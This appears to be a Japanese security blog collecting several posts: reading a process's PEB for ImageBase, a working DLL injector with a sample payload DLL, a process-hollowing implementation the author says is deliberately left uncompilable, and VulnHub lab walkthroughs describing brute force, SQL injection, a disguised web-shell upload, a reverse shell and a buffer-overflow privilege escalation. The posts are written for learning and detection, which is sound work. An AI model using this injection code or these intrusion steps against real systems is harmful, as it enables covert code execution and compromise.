64bitアプリケーションのPEBからImageBaseを取得してみる
64bitアプリケーションのPEBからImageBaseを取得してみる
Windowsにおいて各プロセスはエグゼクティブプロセス(Executive Process:EPROCESS)構造体によって表現される。 この構造体にはプロセスに関する多くの情報が保持されており、たとえば、複数のスレッドを持つプロセスであれば各スレッド情報を持つエグゼクティブスレッド(Executive Thread:ETHREAD)構造体へのポインタなどがある。 ただしEPROCESS構造体とその関連構造体の多くはシステムのアドレス空間上に存在する。 ではユーザーモードのコードからプロセス情報を得るにはどうすればよいだろうか。 じつはプロセス環境ブロック(Process Enciroment Block:PEB)という構造体がユーザーモードのアドレス空間に用意されており、ここからプロセスに関する種々のデータを取得することができる。
今回は64bitプロセスのPEBからImageBaseを取得してみる。 ImageBaseとはその名の通りイメージファイルがロードされるアドレスであり、例えばPEファイルならImageBaseからの2バイトはMZがくるといった具合だ。 このImageBase+RVAでロードされたPEファイルの各種データにアクセスすることができる。
WinDbgで確認してみる
まずはWinDbgでnotepad.exeのPEBからImageBaseを確認してみる。 次のコマンドでPEB構造体のフォーマットを出力できる。
0:007> dt _peb ntdll!_PEB +0x000 InheritedAddressSpace : UChar +0x001 ReadImageFileExecOptions : UChar +0x002 BeingDebugged : UChar +0x003 BitField : UChar +0x003 ImageUsesLargePages : Pos 0, 1 Bit +0x003 IsProtectedProcess : Pos 1, 1 Bit +0x003 IsImageDynamicallyRelocated : Pos 2, 1 Bit +0x003 SkipPatchingUser32Forwarders : Pos 3, 1 Bit +0x003 IsPackagedProcess : Pos 4, 1 Bit +0x003 IsAppContainer : Pos 5, 1 Bit +0x003 IsProtectedProcessLight : Pos 6, 1 Bit +0x003 IsLongPathAwareProcess : Pos 7, 1 Bit +0x004 Padding0 : [4] UChar +0x008 Mutant : Ptr64 Void +0x010 ImageBaseAddress : Ptr64 Void // 省略
オフセット0x10のImageBaseAddressが求めたいImageBaseだ。
これはただPEB構造体の構造を出力しているだけでnotepad.exeのPEBではない。 notepad.exeのPEBを出力するにはPEBのアドレスを指定する必要がある。 次のようにすればよい。
0:007> r $peb $peb=000000b5755da000 0:007> dt _peb @$peb ntdll!_PEB +0x000 InheritedAddressSpace : 0 '' +0x001 ReadImageFileExecOptions : 0 '' +0x002 BeingDebugged : 0x1 '' +0x003 BitField : 0x84 '' +0x003 ImageUsesLargePages : 0y0 +0x003 IsProtectedProcess : 0y0 +0x003 IsImageDynamicallyRelocated : 0y1 +0x003 SkipPatchingUser32Forwarders : 0y0 +0x003 IsPackagedProcess : 0y0 +0x003 IsAppContainer : 0y0 +0x003 IsProtectedProcessLight : 0y0 +0x003 IsLongPathAwareProcess : 0y1 +0x004 Padding0 : [4] "" +0x008 Mutant : 0xffffffff`ffffffff Void +0x010 ImageBaseAddress : 0x00007ff7`8dec0000 Void // 省略
求めたいImageBaseはPEB構造体のImageBaseAddressから0x00007ff7`8dec0000であることがわかる。
dcコマンドでこのアドレスの中身を見てみる。
0:007> dc 0x00007ff7`8dec0000 00007ff7`8dec0000 00905a4d 00000003 00000004 0000ffff MZ.............. 00007ff7`8dec0010 000000b8 00000000 00000040 00000000 ........@....... 00007ff7`8dec0020 00000000 00000000 00000000 00000000 ................ 00007ff7`8dec0030 00000000 00000000 00000000 000000f8 ................ 00007ff7`8dec0040 0eba1f0e cd09b400 4c01b821 685421cd ........!..L.!Th 00007ff7`8dec0050 70207369 72676f72 63206d61 6f6e6e61 is program canno 00007ff7`8dec0060 65622074 6e757220 206e6920 20534f44 t be run in DOS 00007ff7`8dec0070 65646f6d 0a0d0d2e 00000024 00000000 mode....$.......
確かにImageBaseが取得できているようだ。
ちなみに!pebコマンドを使えば一発で求まる。
0:007> !peb PEB at 000000b5755da000 InheritedAddressSpace: No ReadImageFileExecOptions: No BeingDebugged: Yes ImageBaseAddress: 00007ff78dec0000 // 省略
コードで確認してみる
次にコードでnotepad.exeのPEBからImageBaseを求めてみる。
#include <windows.h> #include <winternl.h> // PROCESS_BASIC_INFORMATION #include <iostream> #include <cstdlib> // pause() #include <sstream> // std::stringstream #include<stdio.h> std::stringstream ss; typedef NTSTATUS(WINAPI *fpNtQueryInformationProcess)( HANDLE ProcessHandle, DWORD ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength); PROCESS_BASIC_INFORMATION* FindRemotePEB(HANDLE hProcess){ HMODULE hNTDLL = LoadLibraryA("ntdll"); fpNtQueryInformationProcess NtQueryInformationProcess = (fpNtQueryInformationProcess)GetProcAddress( hNTDLL, "NtQueryInformationProcess"); // find remote PEB PROCESS_BASIC_INFORMATION *pBasicInfo = new PROCESS_BASIC_INFORMATION(); // get PROCESS_BASIC_INFORMATION NtQueryInformationProcess( hProcess, 0, pBasicInfo, sizeof(PROCESS_BASIC_INFORMATION), NULL); // debug std::cout << "PEBase: " << pBasicInfo->PebBaseAddress << std::endl; return (PROCESS_BASIC_INFORMATION*)pBasicInfo; } DWORD64 ReadRemoteImageBase(HANDLE hProcess, PROCESS_BASIC_INFORMATION *pBasicInfo){ // get ImageBase offset address from the PEB DWORD64 pebImageBaseOffset = (DWORD64)pBasicInfo->PebBaseAddress + 0x10 ; // debug ss << std::hex << pebImageBaseOffset; std::cout << "pebImageBaseOffset: " << ss.str() << std::endl; // get ImageBase DWORD64 ImageBase = 0; SIZE_T ReadSize = 8; SIZE_T bytesRead = NULL; ReadProcessMemory(hProcess, (LPCVOID)pebImageBaseOffset, &ImageBase, ReadSize, &bytesRead); return ImageBase; } int main() { // open 64bit notepad.exe std::cout << "Creating process\r\n"; LPSTARTUPINFOA pStartupInfo = new STARTUPINFOA(); LPPROCESS_INFORMATION pProcessInfo = new PROCESS_INFORMATION(); CreateProcessA( 0, "notepad.exe", 0, 0, 0, 0, 0, 0, pStartupInfo, pProcessInfo); PROCESS_BASIC_INFORMATION *pBasicInfo = (PROCESS_BASIC_INFORMATION*)FindRemotePEB(pProcessInfo->hProcess); DWORD64 ImageBase = ReadRemoteImageBase(pProcessInfo->hProcess, pBasicInfo); // debug printf("ProcessId:%d\n", pProcessInfo->dwProcessId); printf("ImageBase:%p\n", ImageBase); system("PAUSE"); TerminateProcess(pProcessInfo->hProcess, NULL); }
プロセスハンドルからNtQueryInformationProcessでPROCESS_BASIC_INFORMATIONを取得する。 その中にPEBへのポインタがあるので、0x10加算したアドレスをReadProcessMemoryで読み取ればそれがImageBaseのアドレスというわけだ。
参考サイト
https://riosu.hateblo.jp/entry/2013/09/06/001208
https://www.microsoftpressstore.com/articles/article.aspx?p=2233328
LoadLibrary,CreateRemoteThreadを使ったDLL Injectionをやってみる
LoadLibrary,CreateRemoteThreadを使ったDLL Injectionをやってみる
DLLインジェクションの紹介記事なんて何番煎じだよという声が聞こえてきそうですが、DLLを使った攻撃は多くの派生版があり、それらを理解するにはまず最も基本的なLoadLibrary,CreateRemoteThreadを使ったDLLインジェクションを理解することが近道です。
本記事ではKernel32.dllがエクスポートするLoadLibrary、CreateRemoteThreadを使ったDLLInjectionを実装し、その動作原理について解説したいと思います。 またその結果としてマルウェア解析やその検知等の応用につなげていただければ幸いです。
DLL Injectionの原理
Windowsにおいて、各プロセスは固有の仮想メモリ空間を持ちます。 そのため基本的にWindowsAPIの力を借りずにあるプロセスが別のプロセスのメモリ空間を操作することはできません。
対してDLL InjectionはリモートプロセスへDLLを注入することで、そのリモートプロセスとしてコードを実行させるテクニックです。 これは攻撃者からすれば、既存のプロセスを隠れ蓑に任意のコードを実行させられるということであり、実においしい話です。
さて、さきほどWindowsAPIの力を借りずにあるプロセスが別のプロセスのメモリ空間を操作することはできないと述べました。ではどのようにDLL Injectionは実装されるのでしょうか。
特定のDLL(具体的にはNtdll.dllやKernel32.dll,User32.dllなどのサブシステムDLL)はすべてのプロセスで同じ仮想メモリアドレスにロードされます.したがって,それらDLLからエクスポートされるAPIのアドレスはすべてのプロセスで共通の値になります.
Loadlibraryを使ったDLLインジェクションはこの仕組みに着目し、自プロセスにロードされたKernel32.dllからエクスポートされるLoadlibraryへのアドレスをそのまま他プロセスに渡すことで任意のDLLのロードを可能にします。
主な手順は次のようになります。
- リモートプロセスをオープンまたはアタッチ
- WriteProcessMemoryでリモートプロセスに読み込ませたいDLLのパスを書き込む
- Loadlibraryへのアドレスを引数としてリモートプロセスに対してCreateRemoteThreadする
- この際、Loadlibraryの引数に、先ほど書き込んだDLLのパスへのアドレスを指定することで、任意のDLLを読み込ませることが可能
- DLLは読み込まれた直後に自動的に実行するコードを内部に記述可能で、ここに悪意あるコードを忍ばせておくことで攻撃が成立する
それでは実際に悪意あるDLLとそれをほかのプロセスにインジェクトするインジェクタープログラムを実装していきましょう。
injectorの実装
// usage // ./injector.exe [DLLPath] [ProcessID to insert DLL] #include <windows.h> int main(int argc, char *argv[]) { DWORD pid; HANDLE proc; LPSTR libPath; LPSTR remoteLibPath; DWORD pathSize; libPath = argv[1]; // 文字列を数値に変換 pid = strtoul(argv[2], NULL, 0); proc = OpenProcess( PROCESS_CREATE_THREAD //CreateRemoteThread | PROCESS_VM_OPERATION //VirtualAllocEX | PROCESS_VM_WRITE, //WriteProcessMemory FALSE, //InheritHandle pid); pathSize = strlen(libPath) + 1; remoteLibPath = VirtualAllocEx( proc, NULL, pathSize, MEM_COMMIT, PAGE_READWRITE); // リモートプロセスへ読み込ませたいDLLのパスを書き込む WriteProcessMemory( proc, remoteLibPath, libPath, pathSize, NULL); // 自プロセス内のLoadlibraryへのアドレスをそのまま引数として渡す CreateRemoteThread( proc, NULL, 0, (LPTHREAD_START_ROUTINE)LoadLibrary, remoteLibPath, 0, NULL); return 0; }
DLLを読み込ませるインジェクタープログラムはたったこれだけです。
injectさせるDLLの実装
次に読み込まれるDLLを実装していきましょう。 このDLLがリモートプロセスに読み込まれ、デバッグウィンドウに文字列が出力されれば成功です。
// evil.c #include <Windows.h> int evilcode(void); int evilCode() { char *buf = "Injected!"; OutputDebugString(buf); } BOOL WINAPI DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { if (ul_reason_for_call == DLL_PROCESS_ATTACH) { evilCode(); } return TRUE; }
DLLは自身がプロセスにアタッチされたとき、つまりプロセスの仮想メモリ上にロードされたときに実行されるコードを記述可能で、今回はアタッチ時にevilcode()が実行されます。 このようにすることで読み込ませたプロセス上で任意のコードを走らせることができます。
実際に動作させてみる
VisualStudio付属のx64 native tools command prompt for vs 2019からclコマンドでコンパイルを行います。
cl injector.c
DLLは/LD
オプションをつけることで作成できます。
cl evil.c /LD
まずは適当なインジェクトされるプログラムを起動しそのプロセス番号を調べます。今回はメモ帳を使うことにします。
C:\Program Files (x86)\Microsoft Visual Studio\2019\Community>tasklist | findstr "notepad" notepad.exe 15424 Console 1 18,340 K
続いてインジェクタープログラムを使って実際にDLLをメモ帳にロードさせてみます。
injector.exe 15424 evil.dll
メッセージボックスがデバッグビューに表示されればDLLインジェクション成功です。
まとめ
名前のいかつさとは対照的に、案外簡単に実装できてしまったのではないでしょうか。
DLL InjectionはAPIフックやin-lineフックなどの興味深い攻撃手法の根幹をなすテクニックです。 また、インジェクター内で使用したOpenProcessやWriteProcessMemory、CreateRemoteThreadはプロセス操作を行うマルウェアで頻繁に目にするWindowsAPIです。
興味深い攻撃手法がたくさんありますのでぜひ手元で再現し、その検知手法ならびに解析手法を考えてみてください。
参考サイト
NtUnmapViewOfSecitonによるProcess Hollowingをやってみる
NtUnmapViewOfSecitonによるProcess Hollowingをやってみる
本記事は IPFactory Advent Calendar 2019 - Qiita 19日目の記事です。
Ntdll.dllからエクスポートされるNtUnmapViewOfSectionによるProcess Hollowingをやってみる。
Process Hollowingの検知手法について解説する記事はいくつかヒットするが、その実装について解説した日本語情報はあまりないように思う。この記事では、すでによく知られているProcess Hollowingについて,実装部分に注目しながら解説してみる。これを読まれた方に検知と回避についてその仕組みから考える機会となれば幸いである。
Process Hollowingとは
マルウェアが使うProcess Injection手法の一例として、Process Hollowingがある。 これは正当なプロセスをサスペンド状態で新規作成した後、内部のイメージをNtUnmapViewOfSectionでアンマップし、悪意あるコードに置き換えるというものだ。
イメージをアンマップする様子がくり抜く動作に似ていることからProcess Hollowingと呼ばれる。
この記事では以下のリポジトリを参考に、電卓プロセスをHollowingし悪意あるコードに見立てたメッセージボックスをポップアップさせるプログラムを実装してみる。
新規プロセスの作成
まずは単純に,電卓を起動させるコードを書いてみる。
#include <windows.h> #include <stdio.h> void CreateHollowedProcess() { printf("Creating process\r\n"); LPSTARTUPINFOA pStartupInfo = new STARTUPINFOA(); LPPROCESS_INFORMATION pProcessInfo = new PROCESS_INFORMATION(); // CREATE_SUSPENDで新規プロセス作成 CreateProcessA( 0, "calc.exe", 0, 0, 0, CREATE_SUSPENDED, 0, 0, pStartupInfo, pProcessInfo); if (!pProcessInfo->hProcess) { printf("Error creating process\r\n"); return; } ////////////////////////////// // ここにコードを追加していく ////////////////////////////// } int main(int argc, char *argv[]) { CreateHollowedProcess(); system("pause"); return 0; }
CreateProcessAの6番目の引数にCREATE_SUSPENDEDを与えることでサスペンド状態でプロセスが新規作成される。 試しにこれを0などに変えてみると通常通り電卓が起動するだろう。
以降このプログラムにコードを追加していく。
イメージのアンマップ
最初の処理は作成した電卓のイメージのアンマップだ。
/////////////////////////////////////////////////// // イメージのアンマップ printf("Unmapping destination section\r\n"); // 書き込み対象プロセスのPEB情報を取得 PPEB pPEB = ReadRemotePEB(pProcessInfo->hProcess); // 書き込み対象プロセスのImageBaseを取得 PLOADED_IMAGE pImage = ReadRemoteImage(pProcessInfo->hProcess, pPEB->ImageBaseAddress); handle hinstance = getmodulehandle(); // 動的にDLLをリンク HMODULE hNTDLL = GetModuleHandleA("ntdll"); FARPROC fpNtUnmapViewOfSection = GetProcAddress(hNTDLL, "NtUnmapViewOfSection"); _NtUnmapViewOfSection NtUnmapViewOfSection = (_NtUnmapViewOfSection)fpNtUnmapViewOfSection; // 書き込み対象プロセスをアンマップ DWORD dwResult = NtUnmapViewOfSection(pProcessInfo->hProcess, pPEB->ImageBaseAddress); ///////////////////////////////////////////////////
イメージのアンマップはNtdll.dllからエクスポートされるNtUnmapViewOfSectionを使用する。 DLLの動的なロードにはGetModuleHandleAを使用する。 ハンドルと使用したい関数をGetProcAddressに渡すとその関数へのポインタが返る。 以降NtUnmapViewOfSectionへは関数ポインタと同じ要領でアクセスすればよい。
NtUnmapViewOfSectionの第1引数には対象プロセスのハンドル、第2引数にはイメージのベースアドレスを指定する。 対象プロセスへのハンドルはpProcessInfo->hProcessを与える。 イメージのベースアドレス取得にはラッパー関数であるReadRemotePEBを使用する。 この内部ではNtQueryInformationProcessを使ってPEBからプロセスのイメージベースを取得している。実際のコードはリポジトリを参照してほしい。
書き込み元実行ファイルの情報収集とメモリのアロケート
イメージのアンマップが正常に終了したら次は代替コードの注入だ。 メッセージボックスがポップアップするプログラムを簡単に書いてみる。
#include <windows.h> int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow) { MessageBoxA(0, "Hello World", "Hello Caption", 0); return 0; }
このプログラムをコンパイルし実行形式にする。
書き込み元実行ファイルの情報収集処理ではまず先ほどコンパイルして出来上がった実行ファイルをオープンし、SizeOfImageなど書き込みに必要な情報を取得する。 次にそれに基づいてVritualAllocEXを使って電卓プロセス内にメモリ領域をPAGE_EXECUTE_READWRITEでアロケートする。 この段階ではまだメモリ領域を確保しただけで書き込みまでは行っていない。
/////////////////////////////////////////////////// // 書き込み元実行ファイルの情報収集とメモリのアロケート // 書き込み元実行ファイルをオープン printf("Opening source image\r\n"); HANDLE hFile = CreateFileA( pSourceFile, GENERIC_READ, 0, 0, OPEN_ALWAYS, 0, 0); // 書き込み元実行ファイルのファイルサイズ取得 DWORD dwSize = GetFileSize(hFile, 0); PBYTE pBuffer = new BYTE[dwSize]; DWORD dwBytesRead = 0; ReadFile(hFile, pBuffer, dwSize, &dwBytesRead, 0); // PEファイルのImageBase,NumberOfSectionsなどの各種情報を取得 PLOADED_IMAGE pSourceImage = GetLoadedImage((DWORD)pBuffer); // NTHeaderへのオフセットを取得 PIMAGE_NT_HEADERS32 pSourceHeaders = GetNTHeaders((DWORD)pBuffer); printf("Allocating memory\r\n"); // PAGE_EXECUTE_READWRITEで書き込み対象へメモリ領域の確保 PVOID pRemoteImage = VirtualAllocEx( pProcessInfo->hProcess, pPEB->ImageBaseAddress, pSourceHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); ///////////////////////////////////////////////////
ベース再配置処理
PEファイルのオプショナルヘッダにはリンカが指定したイメージファイルがロードされるべきアドレスであるImageBaseフィールドがある。しかし既に他のイメージによって使用されているなど常にこのアドレスにロードできるとは限らない。 なんらかの理由でImageBaseにイメージファイルをロードできなかった場合、ローダはファイル内のベース再配置情報に基づいてアドレス値を修正する。 Process HollowingではVirtualAllocExで確保したメモリ領域にイメージファイルをロードさせる。そのため通常ローダが行ってくれるこのベース再配置をマニュアルで行う必要がある。
ベース再配置情報はオプショナルヘッダのDataDirectoryのIMAGE_DIRECTORY_ENTRY_BASERELOC[5]のエントリから辿ることができる。
/////////////////////////////////////////////////// // ベース再配置処理 pSourceHeaders->OptionalHeader.ImageBase = (DWORD)pPEB->ImageBaseAddress; // NTヘッダ部分を先んじて書き込む printf("Writing headers\r\n"); WriteProcessMemory( pProcessInfo->hProcess, pPEB->ImageBaseAddress, pBuffer, pSourceHeaders->OptionalHeader.SizeOfHeaders, 0); // 続いてセクション分書き込むためのループ for (DWORD x = 0; x < pSourceImage->NumberOfSections; x++) { if (!pSourceImage->Sections[x].PointerToRawData) continue; // セクションの書き込み先となるポインタを決定 PVOID pSectionDestination = (PVOID)((DWORD)pPEB->ImageBaseAddress + pSourceImage->Sections[x].VirtualAddress); printf("Writing %s section to 0x%p\r\n", pSourceImage->Sections[x].Name, pSectionDestination); WriteProcessMemory( pProcessInfo->hProcess, pSectionDestination, &pBuffer[pSourceImage->Sections[x].PointerToRawData], pSourceImage->Sections[x].SizeOfRawData, 0); } // リンカが想定したImageBaseAddressと、実際にロードしたImageBaseAddressの差 DWORD dwDelta = (DWORD)pPEB->ImageBaseAddress - pSourceHeaders->OptionalHeader.ImageBase; if (dwDelta) for (DWORD x = 0; x < pSourceImage->NumberOfSections; x++) { char *pSectionName = ".reloc"; // セクション名が.reloc以外なら続行 if (memcmp(pSourceImage->Sections[x].Name, pSectionName, strlen(pSectionName))) continue; printf("Rebasing image\r\n"); DWORD dwRelocAddr = pSourceImage->Sections[x].PointerToRawData; DWORD dwOffset = 0; // 再配置テーブルへのポインタを取得 IMAGE_DATA_DIRECTORY relocData = pSourceHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; // 再配置テーブルのサイズ分ループ while (dwOffset < relocData.Size) { PBASE_RELOCATION_BLOCK pBlockheader = (PBASE_RELOCATION_BLOCK)&pBuffer[dwRelocAddr + dwOffset]; // インクリメント dwOffset += sizeof(BASE_RELOCATION_BLOCK); DWORD dwEntryCount = CountRelocationEntries(pBlockheader->BlockSize); PBASE_RELOCATION_ENTRY pBlocks = (PBASE_RELOCATION_ENTRY)&pBuffer[dwRelocAddr + dwOffset]; for (DWORD y = 0; y < dwEntryCount; y++) { // インクリメント dwOffset += sizeof(BASE_RELOCATION_ENTRY); // タイプが0なら再配置の必要なし if (pBlocks[y].Type == 0) continue; // 再配置が必要なフィールドのアドレスを求める DWORD dwFieldAddress = pBlockheader->PageAddress + pBlocks[y].Offset; DWORD dwBuffer = 0; // 再配置が必要なフィールドの読み込み ReadProcessMemory( pProcessInfo->hProcess, (PVOID)((DWORD)pPEB->ImageBaseAddress + dwFieldAddress), &dwBuffer, sizeof(DWORD), 0); printf("Relocating 0x%p -> 0x%p\r\n", dwBuffer, dwBuffer + dwDelta); dwBuffer += dwDelta; // 再配置が必要なフィールドの修正 BOOL bSuccess = WriteProcessMemory( pProcessInfo->hProcess, (PVOID)((DWORD)pPEB->ImageBaseAddress + dwFieldAddress), &dwBuffer, sizeof(DWORD), 0); } } break; } ///////////////////////////////////////////////////
まず1度イメージ全体を自プロセスのメモリ空間にロードする。
リンカが想定したImageBaseAddressと、実際にロードしたImageBaseAddressの差Deltaが0でない場合ベース再配置が必要で、.relocセクションに格納されている再配置テーブルを修正する。
再配置テーブルへのポインタはpSourceHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]
で取得している。
PEViewで実際に適当なプログラムの.relocセクションをみてみると次のようになっており、再配置テーブルの構造がわかりやすいのではないかと思う。 またここではBASE_RELOCATION_BLOCK構造体とBASE_RELOCATION_ENTRY構造体が次のように定義されていることに注意して欲しい。
typedef struct BASE_RELOCATION_BLOCK { DWORD PageAddress; // 再配置を行うベースとなるRVA DWORD BlockSize; // 再配置ブロックのサイズ } BASE_RELOCATION_BLOCK, *PBASE_RELOCATION_BLOCK; typedef struct BASE_RELOCATION_ENTRY { USHORT Offset : 12; // 上位12bitがVirtualAddress からのオフセット USHORT Type : 4; // 下位4ビットで再配置のタイプ } BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY;
BASE_RELOCATION_BLOCK構造体の直後にBASE_RELOCATION_ENTRY構造体がBASE_RELOCATION_BLOCK構造体のサイズも含めた値BlockSizeだけ延々と繰り返される。
PageAddressにOffsetを足すことで再配置を行うべきRVAを求め、dwDeltaを足すことで再配置計算が完了する。
スレッドコンテキストの編集
ターゲットプロセスへイメージのロードが完了したら、プロセススレッドのコンテキストを調整して完了だ。
/////////////////////////////////////////////////// // スレッドコンテキストの編集 // エントリーポイントの取得 DWORD dwEntrypoint = (DWORD)pPEB->ImageBaseAddress + pSourceHeaders->OptionalHeader.AddressOfEntryPoint; LPCONTEXT pContext = new CONTEXT(); pContext->ContextFlags = CONTEXT_INTEGER; printf("Getting thread context\r\n"); // ターゲットプロセスのスレッドコンテキスト情報を取得 GetThreadContext(pProcessInfo->hThread, pContext); // エントリーポイントの書き換え pContext->Eax = dwEntrypoint; printf("Setting thread context\r\n"); // スレッドコンテキストの更新 SetThreadContext(pProcessInfo->hThread, pContext); printf("Resuming thread\r\n"); // ターゲットプロセスのをResume ResumeThread(pProcessInfo->hThread); printf("Process hollowing complete\r\n"); ///////////////////////////////////////////////////
動作の様子
以上のコードをコンパイルして実際に動作させてみる。
— ry0kvn (@ry0kvn) 2019年12月19日
確かに電卓からメッセージボックスがポップアップしている。 またプロセスエディタで電卓にアタッチしておけばアンマップの様子やリロケーションの様子も見ることができる。
今回は簡便のためコマンドプロンプトにデバッグ情報を出力しているが、当然ながら適切なプロセスをProcess Hollowing対象にすることで、タスクバーを含めて画面上からは一切の動作の様子を確認できなくすることも可能だ。
まとめ
ここまで読んでもらえた方には分かると思うがこのプログラムは32bitアプリケーションでしか動作しない。また悪用回避のためにただコードを繋げるだけではコンパイルできなくしている。
Process Hollowingはレガシーなテクニックだが、私にとってはリモートプロセスの操作やPEファイルの扱い、さらにはベース再配置などのイメージローダーが担う機能の一部分の再実装を通して、普段扱わない部分に触れる貴重な学習となった。繰り返しになるが、これを読まれた方に検知と回避についてその仕組みから考える機会となれば幸いである。
VulnHubのIMF: 1をやってみたよ~!
VulnHubのIMF: 1をやってみたよ~!ということでやっていく。
まずはnetdiscoverでIMF VMのアドレスを取得。
アドレスが分かったら次はNmapでポートスキャン。
80番ポートでApacheが動いていることがわかる。
アクセスしてみた結果が次の画像。
かっこいいページだがここにはヒントはなさそう。
違うページをあさっているとcontactページのソースにフラッグを発見した。
ざっとみてスルーしてしまいそうだったが、なんとなくブラウザのページ内検索を試したら見つかった。あぶないあぶない。
さて、他に隠されたページはないかdirbを使って辞書ベースのページ探索をしてみる。
特になさそうだ。
niktoでサイトに脆弱性がないか試してみる。
うむ…とくになさそう。
早くもどうしようかとウロウロしていると先程見つけたフラッグの中身がBase64でエンコードされた文字列であることに気づいた。
さっそくデコードしてみる。
ふむふむ?
ファイルが関係する…のか?
これまでのところファイルが見えるのはページのソースだけなので再度チェックしてみる。
サイトのソースをくまなく見ていくと次の画像の部分でそれをみつけた。
3つの文字列をつなげてからデコードしてみる。
フラッグゲット!
が、またしてもエンコードされているのでデコードする。
どういうことだろう・・・?
ページ名か…?
おお、合ってた。
ログインページさんこんにちは。
適当に試してももちろんログインできないのでソースを見てみる。
ソースにRogerというユーザー名が見つかった。
これをつかって何度かログインを試してみたうまく行かず。
contactページでいくつかメールアドレスやユーザー名が見つかっていたので、それらをもとにcewlを使って簡単なワードリストを作る。
ワードリストにRogerも追加して…
Burpsuiteでユーザー名とパスワードを格納するパラメータも入手し、準備は万端。
hydraでブルートフォースアタック!
が…うまくいかない…
ログイン可能な組み合わせは見つからなかった。
脆弱性を使うのかと、Apache2.4.18の脆弱性について調べて回ったが利用できそうなものは見あたらない。
裏でphpが動いていることはわかっているのでphpのlogin処理をbypassする方向で調べを進めたがこれもうまくいかない。
sqlインジェクションの脆弱性があるのかとあれこれ試してみたがこれもだめ。
ただユーザー名がrmichaelsであることはレスポンスから判別することができた。
結局writeupを見た。
burpsuiteを使ってパスワードを受け取る変数をpass=をpass[]=にしてやるとうまくいくということだ。
そのレスポンスとして次のページが帰ってきた。
フラッグの文字列をデコードしたのが次の画像。
またリンクをクリックすると次のページに飛んだ。
URLをよく見ると引数を受け取っていることがわかる。
これは脆弱性がありそうだ。
試しにクォーテーションだけを与えてやるとさっそくエラーが出た。
sqlmapでmysqlを攻撃可能か調べる。
脆弱性があるといろいろ表示されるので試しに次の画像のコマンドでテーブルを表示する。
得られたテーブルで特に気になったのが次の画像だ。
ページ名とおぼしき文字列が得られている。
アクセスしてみる。
ふーむ、画像にQRコードが含まれていることがわかる。
https://zxing.org/w/decode.jspx
このサイトでQRコードを読み取るとフラグが得られた。
デコードしてみる。
まーたページ名かな?
アクセスしてみる。
アップロードフォームだ。
リモートシェルを返すスクリプトをphpで書いてアップロードしてみる。
が、phpファイルはアップロードを許可されていなかった。
拡張子だけをみて判定していると考え、先程のファイルの拡張子をjpgに変えて再度アップロードする。
すると今度はeval関数が含まれているため許可されないとレスポンスが帰ってきた。
結局私はGIFファイルシグネチャーをヘッダーに付与した非常に簡素なWebシェルをアップロードすることでこのWAFを回避した。
次の画像が実際にアップロードに使用したgifファイルだ。
このファイルを呼び出すことができれば引数に与えたコマンドを実行できる。
uploadディレクトリ配下に格納されると考えいくつか適当なURLにアクセスしたがページが見つからないとレスポンスが帰ってくる。
ディレクト構造に調べたりと散々苦労したあと、アップロードフォームのソースに次の文字列を発見した。
緑色にコメントアウトされているのがその文字列である。
私は最初、この文字列が何を意味するのかわからなかった。
何度かファイルをアップロードし直したりする中で、この文字列が変化していることに気づいた。
おそらくこれがアップロード後のファイル名なのではないか?
ファイル名がハッシュ値のような形に変換されているのではないかと考えた。
実際にURLのファイル名を、この16進数表記された文字列に変えてアクセスして見るとコマンドの結果が表示された。
lsコマンドを渡すと、フラッグが同ディレクトリ内にあることがわかったのでcatで表示させたのが次の画像。
デコードすると次のような文字列を得られた。
ここまでたどり着くのにかなりの時間を要した。
無事フラグも回収できたので、気を取り直して次のステップに進もう。
Webシェルの引数にwgetコマンドを与え、Kaliに置いてあるリバースシェルを張るスクリプトをダウンロードさせる。
次に、URL上でスクリプトを指定して実行させると、無事シェルが得られた。
シェルが得られたら次にすべきことは権限昇格だ。
PoCを使ってカーネルエクスプロイトを狙いたいがおそらくこれまでの流れから察するにうまくいかない。
先のフラッグで得られたagentservicesというヒントを使っていきたい。
netstatで裏でどんなサーバーサービスが待ち受けているのかを表示したのが次の画像。
7788番ポートでLISTENがある。
Agetn IDを求めるプログラムが動いていた。
明らかにこのプログラムが次の攻略対象だと思われる。
また/usr/local/binにこのagentプログラムとaccess_codesというファイルを見つけた。
access_codesは何に使うんだろうか…?
とりあえずagentを解析するためにcatで出力し、Base64で表示可能な範囲に変換。
この文字列をKaliにコピペし、デコードすればファイルを実質ダウンロードしたことになる。
またIMF VMの方でpsコマンドを実行したところknockdを発見した。
これは予め決めておいた順にポートアクセスされたときに特定ポートを開放するというものだ。
さきほどのaccess_codeはおそらくknockするためのものだろう。
ためしにやってみる。
冒頭のNmapを使ったスキャンでは開いていたなかった7788番ポートにアクセスできるようになっている。
やはりこのagentプログラムを利用して権限昇格を狙うので間違いないだろう。
まずはstringsコマンドで簡単にプログラムに含まれる文字列をチェックする。
agentプログラムは最初にagent IDを求めてくる。
おそらくその部分の処理はstringsで表示された、strncmpで行われていると予想される。
ltraceでライブラリの呼び出しをチェックしてみる。
やはりそうだった。
agent IDは48093572だ。
次の入力で大量の文字列をインプットするとSegmentation faultを起こす。
このことからバッファオーバーフローを利用した攻撃が可能だと考えられる。
まずはバッファからeipを上書きできる場所までのオフセットを求める。
最初に一意な文字列を生成し、
edbをagentにアタッチさせた状態で、先程の文字列をagentにインプットする。
するとedbの方で次のような出力を得る。
eipが上書きされ、不法なアドレスにアクセスしようとした結果エラーが出たわけだ。
この文字列までのオフセットを次のコマンドで求める。
なるほど、バッファからeipを上書きできる部分までのオフセットは168だということだ。
したがってmsfcenomでリバースシェルを張るシェルコードを生成し、
見つけておいたcall eax(番地0x08048563)へと、eipが上書きされるように次のようにすれば権限昇格が狙える。
Netcatで待ち受けて…
よおし!!
ここまで長かった…
VulnHubのMr-Robot: 1をやってみたよ~!
VulnHubのMr-Robot: 1をやってみたよ~!ということでやっていく。
https://www.vulnhub.com/entry/mr-robot-1,151/
まずはアドレスを取得する。
ついでポートスキャン。
ふむ、80番ポートと443番ポートが開放されていることがわかる。
80番ポートでは単純なhttpが稼働していることがわかるのでアクセスしてみる。
めちゃくちゃかっこいいサイトが表示された。
